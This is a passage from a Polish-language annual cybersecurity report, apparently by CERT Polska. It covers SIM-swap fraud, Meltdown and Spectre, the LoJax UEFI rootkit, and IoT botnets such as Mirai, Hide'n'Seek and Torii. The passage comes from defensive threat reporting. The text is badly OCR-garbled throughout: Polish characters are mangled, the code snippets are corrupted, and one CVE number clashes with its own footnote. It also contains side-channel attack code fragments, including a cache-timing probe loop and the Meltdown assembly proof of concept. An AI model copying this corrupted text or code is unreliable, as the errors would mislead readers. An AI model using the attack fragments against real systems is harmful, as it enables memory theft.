nych dziatan. Niestety, punkt sprzedazy gdzie wydaje sie duplikat karty, to miejsce gdzie Scierajg
sie grupy przeciwstawnych intereséw. Na te chwile dostawcom ciggle nie udato sie pogodzi¢ spraw-
nosci proceséw obstugi nastawionych prokliencko z zachowaniem wymogow bezpieczenstwa, kto-
re mogtyby catkowicie wyeliminowac¢ ten szkodliwy proceder. Krajowi dostawcy rozwigzan, ktérych
procedury lub systemy pracujg w oparciu o uwierzytelnienie za pomocg numeru GSM, nie czekali
na reakcje ze strony operatorow i bardzo czesto wydawali®” wiasne zestawy rekomendaciji w celu
ograniczenia naduzy¢. Najczestszg rekomendacjg byto wykorzystanie alternatywnego sposobu au-
toryzacji, za pomocg dedykowanej aplikacji lub tokenu, zamiast SMS-a. Ponadto radzono, aby uzyt-
kownik zwracat uwage na wszelkie zdarzenia odbiegajgce od normy, np. jezeli urzgdzenie zostato
wyrejestrowane z sieci w miejscu gdzie zwyczajowo zawsze mieliSmy zasieg.

Analizujgc problem nalezy rozpatrywac go nie tylko w kwestii kradziezy z systeméw transakcyjnych
bankéw. Numer telefonu bardzo czesto stuzy jako drugi sktadnik uwierzytelnienia dla mnostwa ustug
naszego zycia codziennego. Celem ataku mogg stac sie profile w social mediach, skrzynki poczto-
we, portale do zatatwianie spraw urzedowych. Przedstawiajgc sie konkretnym numerem, a takze
zestawem niezbednych danych bardzo czesto mozna dokonywaé zaméwien lub renegocjowaé kon-
kretne umowy. Za granicg® odnotowano liczne przypadki atakéw tego typu na posiadaczy portfeli
kryptowalut. Polska policja nie ujawnita kompletnej statystyki zwigzanej z wartoscig strat wynikajg-
cych z wykorzystania techniki SIM-swap.

64 https://www.wykop.pl/link/1437103/skradziono-mi-numer-telefonu-w-play-i-jestem-szantazowany-przez-zlodzieja/

% https://web.archive.org/web/20090703194408/http://www.gsmring.pl/?p=79

66 https://www.uke.gov.pl/akt/prezes-uke-ostrzega-przed-naduzyciami-z-podmiana-kart-sim,114.html

57 https://www.getinbank.pl/klienci-indywidualni/aktualnosci/ostrzegamy-przed-oszustwem-z-wykorzystaniem-duplikatow-kart-sim.html
88 https://krebsonsecurity.com/tag/xzavyer-narvaez/
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Wybrane incydenty i zagrozenia ze Swiata

Ataki na nowoczesne procesory (Meltdown i Spectre)

W styczniu 2018 r. ukazaty sie dwie publikacje naukowe zatytutowane “Meltdown: Reading Kernel
Memory from User Space” oraz “Spectre Attacks: Exploiting Speculative Execution”. Zaprezentowa-
ne w nich ataki okazaty sie poteznym ciosem dla producentéw procesorow.

Meltdown i Spectre to grupy podatnosci odkryte niezaleznie przez badaczy z Google Project Zero,
Cyberus Technology oraz Politechniki w Grazie. Opublikowane prace naukowe powstaty w wyniku
badania przy uzyciu inzynierii wstecznej nowoczesnych procesoréw. Eksperci obawiali sie, ze zbyt
daleko posuniete optymalizacje architektury x86 mogg skutkowa¢ powstaniem nowych mozliwosci
do nieuprawnionej eksfiltracji danych.

Cache side-channel

Technika przesyfania informacji kanatem bocznym poprzez cache wykorzystuje fakt, Zze procesor
skfaduje w pamieci podrecznej niektére dane, normalnie znajdujgce sie w RAM-ie, aby méc szybciej
uzyskac¢ do nich dostep.

Przy zatozeniu, ze posiadamy tablice mem[256 * 4096] i uprzednio w catosci znajdowata sie ona
w RAM-ie, po czym dokonano jednego odczytu pod indeksem X * 4096, gdzie 0 < X < 255, mozliwe
jest odtworzenie wartosci X za pomocg nastepujgcego programu:

// uzupeilniamy tablice warto$ciami 0, 1, 2, 3, ..., 255
std::iota(std::begin(values), std::end(values), 0);

// losowo mieszamy kolejnos$é elementdw tablicy
std::random_ shuffle (values.begin (), values.end());

// szukamy elementu w przypadku ktbérego czas dostepu do pamieci bedzie
najkroétszy
for (auto ci = values.begin(); ci != values.end(); ++ci) {

tstart =  rdtscp((unsigned int*)&junk);

junk = mem[*ci * 4096];

tend =  rdtscp((unsigned int*)é&junk) - tstart;

if (lowest value == -1 || lowest value > (int)tend) {
lowest value = tend;
best idx = *ci;

}
}

// wypisujemy wynik
std::cout << ,hit on , << best idx << ,: , << lowest value << std::endl;

Cytowany powyzej program uzyskuje dostep do wszystkich indeksow tablicy [X * 4096] w loso-
wej kolejnosci. Dla kazdego dostepu mierzy czas procesora uzywajgc instrukcji RDTSCP. Wartos¢
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0 najmniejszym czasie dostepu z duzg dozg prawdopodobiehstwa jest oryginalng wartoscig X. Re-
ferencyjne implementacje, zaréwno Meltdown jak i Spectre, opierajg sie na takich wtasnie spekula-
tywnych odczytach duzej tablicy w celu nieuprawnionego odczytu danych przez cache procesora.

Spectre

Nowoczesne procesory x86 dla komputeréow PC (Intel, AMD, VIA) i ARM dla smartfonéw (Samsung,
Qualcomm) posiadajg szereg optymalizacji okreslanych jako mozliwos¢ spekulacyjnego wykonania
kodu. W duzym uproszczeniu - to usprawnienie zostato wprowadzone, poniewaz koszt wykonania
niektérych instrukcji, np. skoku warunkowego, znacznie przewyzszat sredni czas wykonania instruk-
cji. W zwigzku z tym, Zze wspotczesne procesory sg superskalarne, tzn. w pewnym stopniu moga
wykonywacé kilka instrukcji réwnolegle, producenci wprowadzili rozwigzanie polegajgce na tym, ze
procesor niekiedy przewiduje wynik wykonania niektérych z nich i kontynuuje wykonanie programu
w trybie spekulatywnym. Przeptywy typowych programéw bardzo czesto sg przewidywalne, wiec
zastosowanie takiego rozwigzania znacznie zwigksza odczuwalng wydajnos¢. Konsekwencjg opty-
malizacji wydajno$ciowej sg jednak liczne luki bezpieczenstwa.

CVE-2017-5754: Bounds Check Bypass®®

Jest to jedna z pierwszych odkrytych technik nieuprawnionego dostepu do danych przez naduzycie
spekulacyjnego wykonania. Rozwazajgc przyktadowy kod:

uint8 t arrayl(l60] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 }; //
+align

uint8 t array2([256 * 512];

uint8 t temp = 0;

void victimFunction(size t x) {
if (x < arrayl size) // (1)
temp &= array2larrayl[x] * 512]1; // (2)
}

Funkcje victimFunction(x) mozna wywofac kilkukrotnie podajgc warto$ci x mieszczace sie w zakre-
siex < arrayl size. Spowoduje to wytrenowanie mechanizmu branch prediction w procesorze,
tak ze warunek zazwyczaj zostaje spetniony. Kolejne wywotanie funkcji, tym razem z parametrem
X spoza zakresu, spowoduje spekulacje, ze (w uproszczeniu): warunek (1) bedzie spetniony, bo
z danych historycznych wynika, ze zazwyczaj sie tak dzieje. Procesor bedzie wiec réwnolegle
wykonywat (1) oraz spekulatywnie (2). To z kolei spowoduje odczyt tablicy array1 poza zakresem
i otworzy mozliwos$¢ eksfiltracji informacji poprzez tzw. cache side channel.”

CVE-2017-5715: Branch Target Injection™

Innym wariantem podatnosci nalezgcej do rodziny Spectre jest mozliwos¢ wstrzykniecia dowolnego
adresu do Branch Target Buffer (BTB), czyli bufora stuzgcego do przewidywania adreséw skoku tzw.
skokéw posrednich (ang. indirect jump). Przyktadem tego typu instrukcji jest jmp ecx. Procesor pro-
wadzi mape par (klucz instrukcji, ostatni adres skoku), aby moc spekulowac wynik takich
skokéw. Gdzie jako “klucz instrukcji” najczesciej wystepuje jej adres wirtualny, jego czesé lub hash.

Jednym z dobrych celéw do ataku sg biblioteki DLL w systemie Windows, ktére wspotdzielone po-
miedzy ré6znymi programami, sg podmapowane na tych samych adresach wirtualnych. Oznacza to,
ze jeden proces, wykorzystujgc omawiang technike, mogtby wstrzykiwaé ztosliwe adresy skoku do
BTB. Procesor w tej sytuacji spekulatywnie wykona skok w kontekscie innego procesu, ktéry odwota
sie do tego samego miejsca w kodzie biblioteki.

% https://nvd.nist.gov/vuln/detail/CVE-2017-5753
0 https://zaufanatrzeciastrona.pl/post/meltdown-i-spectre-wyjasnione-czyli-hakowanie-procesorow-2-cache-side-channel/
" https://nvd.nist.gov/vuln/detail/CVE-2017-5715
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Meltdown

Podatnos¢ zasiegu Meltdown jest mniejsza, co wynika z faktu, ze procesory AMD nie byly podatne
na ten rodzaj ataku™. Wykorzystanie Meltdowna mogto prowadzi¢ do nieuprawnionego wyprowa-
dzenia danych z pamieci jadra systemu z poziomu zwyktej aplikacji wykonywalnej, uruchomionej
z konta uzytkownika z ograniczonymi uprawnieniami.

CVE-2017-5754: Rogue Data Cache Load™
Zgodnie z proof of concept ataku z oficjalnej publikacji:

; rbx = probe array

mov rax, 0 ; (1)

retry:

mov al, byte [rcx] ; (2)

shl rax, Oxc ; (3)

jz retry ; (4)

mov rbx, gword [rbx + rax] ; (5)

Rejestr rbx zawiera wskaznik na nasza tablice, ktéra zostanie wykorzystana do eksfiltracji informaciji
technikg cache side channel. Instrukcja (1) powoduje wyzerowanie rejestru rax, po czym w petli (2)
(3) odczytujemy adres znajdujgcy sie w pamieci kernela, dokonujgc dereferencji wskaznika rcx.
Odczytany bajt w rejestrze rax jest mnozony przez 4096 (3) i nastepuje dereferencja wskaznika na
rbx [rax]. Warunek (4) chroni przed odczytaniem wartosci zero, poniewaz sukces ataku zalezy od
sytuacji wyscigu pomiedzy omawianym programem a procedurg obstugi wyjgtkéw w procesorze.
Niekiedy moze zdarzy¢ sie, ze rejestr rax zostanie wyzerowany zanim dojdzie do jego wycieku,
dlatego w kodzie ataku zostata umieszczona petla.

Nowsze warianty atakow

W pdzniejszych miesigcach 2018 r. ukazaty sie kolejne publikacje, prezentujgce podobne koncepcyj-
nie ataki, roznigce sie jednak implementacja:

+ Speculative Store Bypass (Spectre v4; Spectre NG) - CVE-2018-3639

* Rogue System Register Read (Spectre v3a, Spectre NG) - CVE-2018-3640
+ Lazy FP State Restore (Spectre NG) - CVE-2018-3665

+ Bounds Check Bypass Store (Spectre NG) - CVE-2018-3693

Pojawity sie rowniez ataki naduzywajgce speculative execution w parze z Intel SGX (Software Guard
Extensions; “enklawy”)™:

* L1 Terminal Fault: SGX (Foreshadow) - CVE-2018-3615
* L1 Terminal Fault: OS/SMM (Foreshadow NG) - CVE-2018-3620
* L1 Terminal Fault: VMM (Foreshadow NG) - CVE-2018-3646

Wptyw podatnosci

Ze wzgledu na problemy zwigzane z zatataniem omawianych podatno$ci w procesorach, producen-
ci systeméw operacyjnych, hiperwizoréw, a takze inne firmy (np. VMware) zostaty powiadomione
o Meltdownie i Spectre z kilkumiesiecznym wyprzedzeniem. Pozwolito to na wprowadzenie w pro-
duktach tatek zapobiegajgcych.

72 https://lkml.org/lkml/2017/12/27/2
7 https://nvd.nist.gov/vuln/detail/CVE-2017-5754
4 mechanizm stuzacy do ochrony wybranego kodu przed ujawnieniem i modyfikacjg
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Meltdown

Do tej pory systemy operacyjne podmapowywaty w przestrzeni adresowej uzytkownika rowniez ad-
resy wirtualne, nalezace do jgdra systemu, co stanowito optymalizacje wydajnosciowg (tzn. zreduko-
wanie narzutu na zmiany kontekstu). Obejsciem problemu z Meltdownem byto zredukowanie prze-
strzeni adreséw podmapowanych w przestrzeni uzytkownika do niezbednego minimum. Podobne
rozwigzania wdrozono w systemach:

« Linux: Kernel page-table isolation™

*  Windows: Kernel ASLR/VA Isolation™

«  MAC OS: “Double map™”

Rozwigzanie byto krytykowane w zwigzku z wprowadzanym przez nie dodatkowym narzutem wy-
dajnosciowym. Réznorodnos¢ wynikdw w pojawiajgcych sie badaniach sugerowata, ze stopien
spowolnienia komputera po zastosowaniu tatek bardzo mocno zalezy od tego, jaki jest charakter
wykonywanej na nim pracy. Wedtug doniesien, najwieksze spowolnienie odnotowano w przypadku
serweréw bazodanowych i wynosit od 17 do 23 proc.”

Spectre

Mozliwosé uruchomienia ataku nawet z poziomu skryptéw JavaScript dziatajgcych w przegladarce,
byta opisywana w publikacjach.” Dlatego tez w niektorych produktach wprowadzono fatki zapobiega-
jace wykorzystywaniu podatnoéci. Silnik JavaScript V8 zostat wzbogacony we flage --untrusted-
code-mitigations. Flaga powoduje wtgczenie dodatkowego maskowania adreséw orazindeksow
w JIT-owanym kodzie, celem upewnienia sie, ze spekulatywne wykonanie nie odwotuje sie do pa-
mieci spoza wyznaczonego zakresu. Deklarowany spadek wydajnosci, zwigzany z uzywaniem takiej
tatki, moze dochodzi¢ nawet do okoto 15 proc.® Dodatkowo, deweloperzy przeglagdarek obnizy-
li rozdzielczos¢ czasu zwracanego przez takie interfejsy jak performance.now(). Wytgczono takze
SharedArrayBuffers! 82,

LoJax

We wrzesniu 2018 r. firma ESET wydata obszerny raport®® na temat zaobserwowanego przez anali-
tykéw nowego zagrozenia zwigzanego z metodg persystencji (pozostawania w zainfekowanym sys-
temie), ktéra uzywa rootkita dziatajacego jako modut UEFI.

UEFI to specyfikacja mechanizmu zarzgdzajgcego procesem uruchomienia komputera. Podobnie
jak BIOS, UEFI dziata ponad systemem operacyjnym i udostepnia mu ustugi zwigzane z doste-
pem do urzadzen. Rootkit to z kolei ztosliwe oprogramowanie, ktére dziata w sposdb bardziej
ukryty i z wiekszymi uprawnieniami niz standardowe programy, zazwyczaj w postaci specjalnie
przygotowanego modutu, bgdzZ sterownika systemu operacyjnego. Rootkit UEFI wyréznia sie tym,
ze nie jest czescig systemu operacyjnego, a samej implementacji UEFI i fizycznie znajduje sie
w pamieci flash na ptycie gtéwnej komputera. Oznacza to, ze nawet skasowanie wszystkich da-
nych z dysku komputera albo jego catkowita wymiana nie spowoduje usuniecia tego typu ztosli-
wego oprogramowania.

75 https://lwn.net/Articles/738975/

78 https://twitter.com/aionescu/status/930412525111296000

7 https://twitter.com/aionescu/status/948609809540046849

8 https://www.postgresql.org/message-id/20180102222354.qikjmf7dvnjgbkxe@alap3.anarazel.de

9 https://spectreattack.com/spectre.pdf (strona 7)

8 https://v8.dev/docs/untrusted-code-mitigations

81 https://blogs.windows.com/msedgedev/2018/01/03/speculative-execution-mitigations-microsoft-edge-internet-explorer/
82 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer

8 https://cdn1.esetstatic.com/ESET/US/resources/datasheets/ESETus-datasheet-lojax.pdf
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ESET przypomina, ze znane sg juz przypadki istnienia rootkitéw UEFI: “rkloader”, o ktérym wie-
my z wycieku z wioskiej firmy HackingTeam, dostarczajgcej ztosliwe oprogramowanie rzgdom
zachodnich panstw?®¢, czy “darkmatter” uzywanego przez hakerow CIA%. Jednak do tej pory nie
znaleziono potwierdzenia infekcji narzedziem tego typu.

Rysunek 56. Sposob dziatania persystencji LoJacka (zrodto: ESET).

Sam sposob dziatania tego typu rootkitu nie musi by¢ z natury ztosliwy. Czes¢ producentéw lapto-
pow jako modut UEFI instaluje mechanizm antykradziezowy. Skutecznos$é tego typu mechanizmu
zalezy od kilku czynnikéw: musi by¢ on trudny do usuniecia lub wytgczenia oraz - najlepiej - jezeli jest
odporny na zmiane systemu operacyjnego czy nawet wymiane dysku. Przyktadem takiego rozwig-
zania jest LoJack (starsza nazwa: Computrace) zaimplementowany jako modut UEFI/BIOS. Modut
aktywuje sie przed kazdym startem systemu Windows, kiedy podmienia jeden z jego kluczowych
plikbw wykonywalnych. Kod uruchamia sie na wczesnym etapie inicjalizacji systemu, upewnia sie,
ze kolejny komponent rozwigzania jest zainstalowany w systemie operacyjnym, a nastepnie przy-
wraca oryginalng zawartos¢ pliku. W koncu, po uruchomieniu systemu operacyjnego, niewielki agent
LoJacka pobiera (lub dokonuje aktualizacji) gtéwny komponent z zapisanego w swoich zasobach
adresu internetowego producenta rozwigzania.

W maju 2018 r. amerykanska firma Arbor Networks (produkujgca urzadzenia stuzace do analizy
ruchu sieciowego) zidentyfikowata agenty LoJacka, ktére tgczyty sie z innymi domenami niz te ory-
ginalne. Co wiecej, byty to domeny uprzednio uzywane przez grupe APT28 w jej kampaniach zto$li-
wego oprogramowania®. Modyfikacja adresu nie byta trudna - wystarczylo, nawet recznie, zmienic¢
kilkadziesigt bajtow w pliku.

Badacze ESET-u nazwali zmodyfikowane agenty mianem “LoJax” i zaczeli szukaé zainfekowanych
komputeréw. Oprécz agenta “LoJaxa”, na wielu maszynach znaleziono ztosliwe oprogramowanie
(albo slady jego dziatania) typowe dla APT28: “SedUploader”, “XAgent” czy “Xtunnel™®, ale réwniez
kilka niestandardowych narzedzi. Wsrdd nich byto narzedzie pozwalajgce uzyskac informacje na
temat konkretnej implementacji UEFI w komputerze, narzedzie do tworzenia zrzutu pamieci UEFI,
dodajgce do odczytanej pamieci dodatkowy modut UEFI oraz ponowne jej zapisanie.

Prawidtowo wdrozone UEFI nie powinno pozwala¢ na dowolng zmiane swojej pamieci, zaréwno ze
wzgledéw na bezpieczehstwo uzytkownika jak i przypadkowej modyfikacji, ktéra mogtaby uszko-
dzi¢ komputer. Jednak okazuje sie, ze producenci w ogdle nie implementujg zabezpieczen, sg one
domyslnie wytgczone, zawierajg btedy albo sg mozliwe do ominiecia. Narzedzie stworzone przez
APT28 potrafi wykorzysta¢ jedng z takich podatnosci®®. Dalsza czes$¢ infekcji przebiegata analo-
gicznie do oryginalnej metody uzyskania persystencji przez LoJacka, jak na przedstawionym wyze;j
diagramie. Na koncu instalowane byly standardowe trojany APT28.

84 https://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/
8 https://wikileaks.org/ciav7p1/cms/page_13763820.html

8 https://asert.arbornetworks.com/lojack-becomes-a-double-agent/

87 https://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf

88 https://bromiumlabs.files.wordpress.com/2015/01/speed_racer_whitepaper.pdf

NASK



Firma ESET zauwazyta infekcje LoJaxem gtéwnie na Batkanach i w Europie Srodkowo-Wschodnie;.
Jeden z niezaleznych badaczy, sprawdzajgc dane statystyczne Cisco Umbrella IoC (/ndicator of
Compromise), podane przez ESET, stwierdzit, ze najwiecej infekcji byto aktywnych w Polsce®®.

Rysunek 57. Mapa powigzan infrastruktury zarzgdzania LoJaxem (zrédfo: VirusTotal, IOC ESET).

Botnety loT

Rynek inteligentnych urzadzenh podtgczanych masowo do internetu (ang. loT, Internet of Things)
rozwija sie w bardzo szybkim tempie. Wedtug niektérych zrodet®® w 2018 r. 2 z 5 urzadzen podtgczo-
nych do internetu stanowity wtasnie urzgdzenia loT, co dawato imponujgcg liczbe 7 miliardéw urzg-
dzeh tego typu dziatajgcych w sieci. Szacunkowo udziat ten, jak rowniez liczba wszystkich urzgdzen
z dostepem do globalnej sieci, ma sie zwigksza¢ w najblizszych latach w tempie ok. 10 proc. na
rok. Mozna spotka¢ réwniez opracowania prognozujace duzo bardziej dynamiczny trend®'. Dodajac
do tego faktu odkrywane regularnie podatnosci, wykorzystanie domysinych haset administratora,
panele administracyjne umozliwiajgce logowanie z kazdego zakatka $wiata, czy brak aktualizacji
firmware’u sprawity, ze drastycznie rosngca skala przejetych urzadzen loT bgdz ich infekcji stata sie
codziennoscig dla branzy bezpieczenstwa teleinformatycznego.

Botnety loT nie sg zjawiskiem, ktore pojawito sie na przestrzeni ostatnich 2-3 lat. Juz kilka lat przed
niestawnym Miraiem, ktéry zyskat rozgtos w sierpniu 2016 r., pojawiaty sie botnety Aidra czy Ba-
shlite, masowo infekujgce urzadzenia loT. Celem ich dziatalnosci byto wywotywanie atakéw DDoS

89 http://archive.is/VBrWwK
% https://iot-analytics.com/state-of-the-iot-update-q1-q2-2018-number-of-iot-devices-now-7b/
91 https://www.statista.com/statistics/471264/iot-number-of-connected-devices-worldwide/
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na ogromng skale. Czes¢ grup przestepczych, specjalizujgcych sie wtasnie w atakach blokujgcych
ustugi, dostrzegta potencjat drzemigcy w kontrolowanych infrastrukturach, oferujgc ustugi DDoS-as
-a-Service. Dysponujgc kwotg ok. 20 USD miesiecznie, kazdy moze wydzierzawi¢ cze$¢ botnetu
i przeprowadzi¢ atak DDoS dla wtasnych potrzeb®. Obecnie ataki DDoS to tylko jeden ze sposobow
nielegalnego wykorzystania botnetow loT, o czym opowiemy w dalszej czesci raportu.

Mirai i jego warianty

Dziatalnos¢ botnetu Mirai byta jednym z goretszych tematéw w Swiecie IT security w 2016 r., bardzo
chetnie zresztg podchwytywanym przez media. Niedtugo po odkryciu tego malware’u, bo juz pod
koniec wrzeénia 2016 r., jego kod zostat upubliczniony, co poskutkowato pojawieniem sie wkrétce
nowych wariantéw botnetu opartych, w mniejszym lub wiekszym stopniu, na kodzie oryginalnego
projektu. Do najgrozniejszych z nich nalezg zaobserwowany we wrzesniu 2017 r. Reaper, wykorzy-
stujgcy pakiet 9 eksploitdbw na podatnosci znalezione w urzgdzeniach réznych producentéw oraz
zidentyfikowany w grudniu 2017 r. Satori, ktérego celem byly wybrane modele routerow Realtek
oraz Huawei. Zainteresowanych metodg dziatania oryginalnego botnetu Mirai zapraszamy do lektury
naszego raportu za 2017 r.

Do dzi$ powstaty dziesigtki wariantéw Miraia, czes¢ z nich o otwartym kodzie Zzrédtowym. Zazwyczaj
sg one nazywane i klasyfikowane na podstawie nazwy gatezi (ang. branch) projektu. Nazwa ta odno-
si sie do argumentu polecenia wywotywanego podczas infekcji, np. dla brancha MASUTA polecenie
to wyglada nastepujgco:

$ /bin/busybox MASUTA
MASUTA: applet not found

Do drugiej potowy czerwca 2018 r. zidentyfikowano 66 wariantow opartych na kodzie Miraia®, jed-
nak watpliwosci jednego z uzytkownikéw Twittera co do rzeczywistej liczby réznych mutacji zmo-
tywowaly researcheréw z firmy Avast do poréwnania charakterystycznych elementéw 7 wariantow
tego malware’'u w celu wyodrebnienia pewnych cech wspolnych®. Poréwnanie wykazato réznice
w listach domyslnych danych uwierzytelniajgcych zapisanych na state w kodzie malware’u, uzywa-
nych podczas jednej z faz ataku. Niezgodnosci dotyczyty par login-hasto, zbieznosci poszczegdinych
pozycji na liscie z listg uzywang przez oryginalny kod Miraia oraz dtugosci samej listy. Inne odnale-
zione rozbieznosci pomiedzy wariantami byly zwigzane m.in. z kluczem uzywanym do deobfuskac;ji
wspomnianej listy, rozszerzeniu listy tzw. kill portéw®, jak réwniez listy atakowanych architektur t;.
Argonaut RISC Core czy Motorola RCE (a wiec znowu - kolejnych urzgdzen wspierajgcych te ar-
chitektury). Udato sie zaobserwowaé, ze nowe warianty Miraia czerpig korzys¢ przede wszystkim
z modularnej budowy oryginalnego projektu, dzieki czemu dodawanie w kolejnych wersjach nowych
funkgiji, eksploitujgcych nowo definiowane zbiory podatnosci, jest stosunkowo proste.

Na szczegdlng uwage zastuguje jeszcze jeden wariant Miraia - Sora, infekujgcy szeroki wachlarz
urzadzen opartych na rozmaitych architekturach sprzetowych. Kod Sory zostat skompilowany przy
uzyciu narzedzi z projektu Aboriginal Linux®, ktory umozliwia fatwe tworzenie plikow wykonywal-
nych, uruchamianych na réznych platformach, co znacznie poszerzyto zbiér urzadzen loT bedacych
potencjalnym celem botnetu®’.

92 https://blog.radware.com/uncategorized/2018/03/history-of-iot-botnets/

% https://twitter.com/rommeljoven17/status/1010060870100049920

% https://blog.avast.com/hacker-creates-seven-new-variants-of-the-mirai-botnet

% ustug nastuchujgcych na danym urzadzeniu, np. SSH, Telnet, ktére malware loT zamyka w celu uniemozliwienia podtgczenia sie wiascicielowi
urzadzenia, a takze innym rodzinom ztosliwego oprogramowania, eliminujgc w ten sposéb ewentualng konkurencje.

% https://github.com/landley/aboriginal

97 https://www.symantec.com/blogs/threat-intelligence/mirai-cross-platform-infection
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Rysunek 58. Najpopularniejsze gafezie Miraia, stan na czerwiec 2018 r. (zrédfo: https://twitter.com/rommeljoven17/sta-
tus/1010060870100049920).

Hide’n’Seek

Ciekawymi cechami wyrdznia sie inne zagrozenie - odkryty przez BitDefender w styczniu 2018 r.
botnet Hide'n'Seek, ktéremu juz w pierwszych dniach dziatalno$ci udato sie zainfekowac¢ przeszio
90 000 urzadzen®. Wedtug tego samego zrodia, na poczatku pazdziernika 2018 r. liczba zainfeko-
wanych urzadzen osiggneta putap 300 000, a srednia dobowa liczba aktywnych botéw w tym okresie
oscylowata na poziomie 4 000 - 5 000°°.

Najwazniejszym rozwigzaniem uzytym w konstrukcji botnetu Hide’n’Seek jest wykorzystanie zde-
centralizowanej architektury P2P (ang. peer-to-peer). Nie jest to nowy pomyst, poniewaz podobnie
zostat zaprojektowany takze botnet Hajime, opisywany przez CERT Polska w poprzednim rapor-
cie'®, Interesujgca kwestig jest zapisana na state w kodzie lista peerow, z ktérymi taczy sie oprogra-
mowanie. Najwiecej sposrod nich zostato zlokalizowanych w Korei Potudniowej, Chinach oraz USA.
Zidentyfikowano réowniez kilka adreséw z polskich sieci. Protokét P2P stuzy do propagacii botnetu,
wymiany plikéw pomiedzy zainfekowanymi urzadzeniami oraz przesyfania na nie aktualizacji mal-
ware’u.

Drugi najwazniejszy komponent Hide’'n’Seeka to dziatajgcy podobnie jak w Miraiu skaner, postuguija-
cy sie losowo generowanymi adresami IP oraz predefiniowang listg portéw. Uzywane sg one w celu
okreslenia dostepnych na atakowanym urzgdzeniu ustug i mozliwosci ich wykorzystania w celu jego
przejecia.

Porty Ustuga Podejmowana akcja

23, 2323 Telnet Atak bruteforce z wykorzystaniem listy danych uwierzytelniajacych (login-hasto)

80, 8080 HTTP Uzycie powszechnie dostepnych eksploitéw na ustugi

5555 ADB Proba przejecia urzgdzenia poprzez otwarty na swiat interfejs ADB
(ang. Android Debug Bridge)

2480 OrientDB | Wykorzystanie podatnosci RCE (CVE-2017-11467')

5984 CouchDB | Wykorzystanie podatnosci RCE (CVE-2017-12636"02)

Tabela 7. Lista skanowanych przez Hide’n’Seek portéw oraz podejmowanych akcji w zaleznosci od ustugi.

% https://labs.bitdefender.com/2018/09/hide-and-seek-iot-botnet-learns-new-tricks-uses-adb-over-internet-to-exploit-thousands-of-android-devices/
9 https://www.youtube.com/watch?v=d2-2VRxBqEA&t=22m28s

190 hitps://www.cert.pl/PDF/Raport_CP_2017.pdf

101 https://www.cvedetails.com/cve/CVE-2017-11467/

102 hitps://www.cvedetails.com/cve/CVE-2017-12636/
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Na uwage zastuguje modularna budowa malware’u. Zaraz po zainfekowaniu Hide’n’Seek nie posia-
da zatadowanych konkretnych eksploitéw. Zbiera natomiast szczegdtowe informacje o urzadzeniu,
na podstawie ktérych sg nastepnie pobierane odpowiednie moduty skompilowane pod konkretng
architekture (m.in. x86, ARM czy MIPS). Hide’n’Seek przechowuje je w pamieci urzadzenia, dlatego
wykonujac jej zrzut mozna stwierdzic, jakie moduly zostaty $ciggniete przez malware. Przyktadem
moze by¢ cpuminer, zamieniajacy urzadzenie loT w koparke kryptowalut. Mimo, Ze nie jest to popu-
larne rozwigzanie, ze wzgledu na matg moc obliczeniowg urzadzen loT, swietnie obrazuje kierunek,
w ktérym zmierzajg botnety loT. Cryptomining, dystrybucja ransomware’u czy fraudy to oprécz ata-
kéw DDoS kolejne przyktady do czego mozna wykorzystaé botnet oparty o urzgdzenia loT.

Torii

W drugiej potowie wrzesnia 2018 r. zostat zaobserwowany nowy rodzaj malware’u na urzgdzenia
loT - Torii. Informacja, skad jest inicjowany ruch sieciowy na port 23 (znany scenariusz z uzyciem
domysinych danych uwierzytelniajgcych), jest ukrywana poprzez wykorzystanie weztéw sieci Tor.
Stad wtasnie pochodzi nazwa oprogramowania. Specjalisci z firmy Avast, ktérzy doktadnie przeana-
lizowali dziatanie nowego zagrozenia, doszli do wniosku, ze botnet mogt dziata¢ juz duzo wczesniej,
nawet od grudnia 2017 r.'% Podobnie jak w przypadku wczes$niej omawianych rozwigzan, Torii posia-
da modularng budowe, a takze wersje dostepne na rézne platformy (m.in. x86, x86_64, MIPS, ARM,
PowerPC oraz SuperH) wykorzystujgce tgcznie ponad 100 ztosliwych modutéw, gotowych do uzycia
w zaleznosci od atakowanej architektury'%4.

Torii jest nie tylko trudny do wykrycia, ale i usuniecia. Zostat wyposazony w szes¢ mechanizméw
persystencji, wykorzystywanych jednoczesnie w celu zmaksymalizowania mozliwosci przetrwania
i zapewnienia ciggtosci dziatania malware’u na zainfekowanym urzadzeniu'®. Kolejnymi ciekawymi
rozwigzaniami, ktére zastosowat autor Torii, jest napisany w jezyku Go uniwersalny modut do wy-
konania dowolnej komendy na urzgdzeniu, szyfrowanie komunikacji z C&C, czy mozliwo$¢ wypro-
wadzania wrazliwych danych i przesytania ich do serwera C&C. | wtadnie to ostatnie rozwigzanie
stanowi, wedtug researcherow z firmy Avast, gtéwny cel dziatania Torii, zdecydowanie odrdzniajgc
go od pozostatych botnetéw loT.

Omawiany malware stanowi pewng ewolucje i swego rodzaju kolejny poziom w rozwoju oprogra-
mowania atakujgcego urzadzenia loT. Torii nie jest oparty na kodzie Miraia, przez co dziata nieco
inaczej. Przyktadem moze by¢ brak generatora losowych adreséw IP, stuzgcego do wyboru nastep-
nych celéw pod katem mozliwosci infekcji i propagaciji. Dzieki temu Torii stara sie dziata¢ jak najmniej
zauwazalnie w warstwie sieciowej, ukrywajgc fakt infekcji urzgdzenia i potajemnie realizujgc cele
wiasciciela botnetu.

Sytuacja w Polsce

Podobnie jak 2017 r., réwniez 2018 r. nie przyniést zmasowanych atakéw na urzadzenia loT
w polskich sieciach. Nie zaobserwowalismy wielu infekcji, a te ktdére wystgpity, dotyczyty gtéwnie
przejetych routeréw (najczesciej Mikrotik lub TP-Link). Zazwyczaj atakujacym oprogramowaniem
byta jedna z odmian Miraia. W cze$ci zainfekowanych urzadzer udato sie rozwigza¢ problem dzieki
temu, ze wielu dostawcow internetu szybko i z nalezytg powagg potraktowato ostrzezenia dotyczgce
malware’u loT, wysytane przez nasz zesp6t do odpowiednich zespotéw abuse.

Zespot CERT Polska wcigz jest na etapie rozwijania i doskonalenia narzedzi dotyczgcych obserwacji
i powiadamiania o urzgdzeniach loT, ktére mogly zostaé przejete i wigczone jako element infra-
struktury ktérego$ z botnetéw IoT. Nie ma miesigca, aby nie docieraty do nas informacje o nowych
zagrozeniach do ktérych na biezgco adaptujemy nasze systemy, aby jak najlepiej i jak najszybcie;j
